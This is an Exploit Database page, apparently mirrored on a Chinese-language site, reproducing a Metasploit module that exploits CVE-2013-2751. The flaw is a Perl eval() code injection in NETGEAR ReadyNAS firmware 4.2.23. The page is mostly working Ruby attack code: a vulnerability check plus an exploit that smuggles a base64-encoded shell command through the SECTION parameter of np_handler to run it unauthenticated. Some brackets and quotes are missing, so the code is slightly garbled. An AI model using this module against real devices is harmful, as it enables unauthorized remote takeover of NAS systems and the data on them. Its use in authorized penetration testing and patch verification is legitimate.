Netgear ReadyNAS – Perl Code Evaluation (Metasploit)

Exploit Database
111 阅读

作者： Metasploit

日期： 2013-11-25
类别：
- remote
平台：
- hardware
来源：https://www.exploit-db.com/exploits/29815/

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ManualRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'NETGEAR ReadyNAS Perl Code Evaluation',

'Description'=> %q{

This module exploits a Perl code injection on NETGEAR ReadyNAS 4.2.23 and 4.1.11. The

vulnerability exists on the web fronted, specifically on the np_handler.pl component,

due to the insecure usage of the eval() perl function. This module has been tested

successfully on a NETGEAR ReadyNAS 4.2.23 Firmware emulated environment, not on real

hardware.

'Author' =>

[

'Craig Young', # Vulnerability discovery

'hdm',# diff the patch

'juan vazquez'# Metasploit module

'License'=> MSF_LICENSE,

'References' =>

[

[ 'CVE', '2013-2751' ],

[ 'OSVDB', '98826' ],

[ 'URL', 'http://www.tripwire.com/state-of-security/vulnerability-management/readynas-flaw-allows-root-access-unauthenticated-http-request/' ],

[ 'URL', 'http://www.tripwire.com/register/security-advisory-netgear-readynas/' ]

'Platform' => ['unix'],

'Arch' => ARCH_CMD,

'Privileged' => false,

'Payload'=>

{

'Space' => 4096, # Has into account Apache request length and base64 ratio

'DisableNops' => true,

'Compat'=>

{

'PayloadType' => 'cmd',

'RequiredCmd' => 'generic perl telnet'

}

'Targets'=>

[

[ 'NETGEAR ReadyNAS 4.2.23', { }]

'DefaultOptions' =>

{

'SSL' => true

'DefaultTarget'=> 0,

'DisclosureDate' => 'Jul 12 2013'

))

register_options(

[

Opt::RPORT(443)

], self.class)

end

def send_request_payload(payload)

res = send_request_cgi({

'uri' => normalize_uri("/np_handler", ""),

'vars_get' => {

'PAGE' =>'Nasstate',

'OPERATION' => 'get',

'SECTION' => payload

}

})

return res

end

def check

res = send_request_payload(")")

if res and res.code == 200 and res.body =~ /syntax error at \(eval/

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def exploit

my_payload = "#{rand_text_numeric(1)});use MIME::Base64;system(decode_base64(\"#{Rex::Text.encode_base64(payload.encoded)}\")"

print_status("#{peer} - Executing payload...")

send_request_payload(my_payload)

end